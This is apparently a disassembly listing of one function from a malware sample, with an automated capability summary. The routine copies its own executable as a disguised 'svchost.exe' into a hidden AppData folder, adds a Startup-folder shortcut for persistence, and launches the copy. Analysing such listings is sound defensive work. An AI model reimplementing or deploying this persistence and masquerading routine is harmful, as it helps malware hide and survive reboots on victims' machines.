Function at 0x401b41
Capabilities:
Copy file
Create directory
Create process on windows
Get session user name
Persist via lnk shortcut
Set file attributes

Disassembly:
push rbp
push rbx
sub rsp, 0x388
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x14c], 0x101
lea rdx, [rbp + 0x14c]
lea rax, [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rax, [rbp + 0x2af]
mov rcx, rax
call fcn.00466e30
lea rcx, [rbp + 0x2af]
lea rdx, [rbp + 0x150]
lea rax, [rbp + 0x280]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x280]
mov r8, rdx
lea rdx, str.C:Users_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x260]
lea r8, str.AppDataLocalWindows_Files
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x260]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x280]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2af]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x120]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__mkdir]
call rax
lea rax, [rbp + 0x120]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x120]
lea r8, str._svchost.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x10]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rax, [rbp - 0x10]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0x2ff]
mov rcx, rax
call fcn.00466e30
lea rcx, [rbp + 0x2ff]
lea rdx, [rbp + 0x150]
lea rax, [rbp + 0x2d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0x2d0]
mov r8, rdx
lea rdx, str.C:Users_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x2b0]
lea r8, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2ff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x50]
lea rdx, [rbp - 0x30]
lea r8, str._svchost.lnk
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.create_shortcut_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
call sym.exit
mov rbx, rax
lea rax, [rbp + 0x260]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401dc9
lea rax, [rbp + 0x280]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401ddd
lea rax, [rbp + 0x2af]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
mov rbx, rax
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401e0e
lea rax, [rbp + 0x2d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401e22
lea rax, [rbp + 0x2ff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x401e58
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401e6c
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbx
mov rcx, rax
call dbg._Unwind_Resume
nop